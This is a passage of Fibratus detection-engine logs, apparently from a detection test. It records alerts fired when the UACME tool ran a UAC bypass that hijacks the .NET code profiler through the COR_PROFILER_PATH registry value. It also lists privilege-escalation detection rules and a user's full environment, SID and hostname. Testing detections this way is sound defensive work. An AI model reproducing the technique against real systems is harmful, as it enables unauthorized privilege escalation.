ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 547143 + Pid: 18056 + Tid: 17308 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-12-01 17:43:12.6170034 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 41d154000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff808009404080, name➜ cmd.exe, pid➜ 16584, ppid➜ 18056, real_ppid➜ 18056, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-12-01 17:43:12.6168901 +0100 CET, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004, rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.name: Privilege Escalation + + Pid: 18056 + Ppid: 6896 + Name: mmc.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows\System32\mmc.exe" eventvwr.msc + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Exe: C:\Windows\System32\mmc.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows\System32\mmc.exe" eventvwr.msc] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-12-01T17:44:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-01T17:44:19+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:44:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-01T17:44:54+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation_or_directory_creation.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-01T17:44:54+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: false + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: false + HasAuditAPIEvents: false + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Connect, CreateFile, CreateHandle, CreateProcess, LoadImage, RegSetValue source=bootstrap/bootstrap.go:152 +time=2025-12-01T17:44:54+01:00 level=info msg=bootstrapping with pid 1748. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-01T17:44:54+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false use-template=>true content-type=>text/html to=>[] port=>25] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-mem=>true enable-threadpool=>false enable-dns=>false buffer-size=>512 enable-audit-api=>true enable-net=>true enable-image=>true enable-handle=>false stack-enrichment=>true enable-vamap=>true enable-thread=>true flush-interval=>1s enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 max-age=>0 log-stdout=>true formatter=>text level=>info] + output ......................... [ eventlog=>[ enabled=>false level=>info] amqp=>[ vhost=>/ exchange-type=>topic timeout=>5s exchange=>fibratus routing-key=>fibratus passive=>false url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false durable=>false tls-insecure-skip-verify=>false] elasticsearch=>[ flush-period=>1s template-name=>fibratus timeout=>5s bulk-workers=>1 gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s trace-log=>false sniff=>false enabled=>false index-name=>fibratus servers=>[http://127.0.0.1:9200]] http=>[ method=>POST tls-insecure-skip-verify=>false enabled=>false timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false excluded-procs=>[] enabled=>false excluded-files=>[] scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-01T17:44:54+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:44:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-01T17:45:34+01:00 level=info msg=sending alert: [UAC bypass via .NET Code Profiler DLL Hijack]. Text: Event(s): + Seq: 573897 + Pid: 15148 + Tid: 16996 + Type: RegSetValue + CPU: 2 + Name: RegSetValue + Category: registry + Description: Sets the data for the value of a registry key + Host: archrabbit + Timestamp: 2025-12-01 17:45:31.9972644 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\pe386.dll, key_handle➜ ffffb3878047ceb0, key_path➜ HKEY_CURRENT_USER\Environment\COR_PROFILER_PATH, status➜ Success, value_type➜ REG_SZ + Metadata: rule.seq.link: 2772249460329312528, rule.name: UAC bypass via .NET Code Profiler DLL Hijack, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 15148 + Ppid: 8360 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 39] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:e1a7ab5e-85bc-405d-abfb-e733129bd8b2 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program 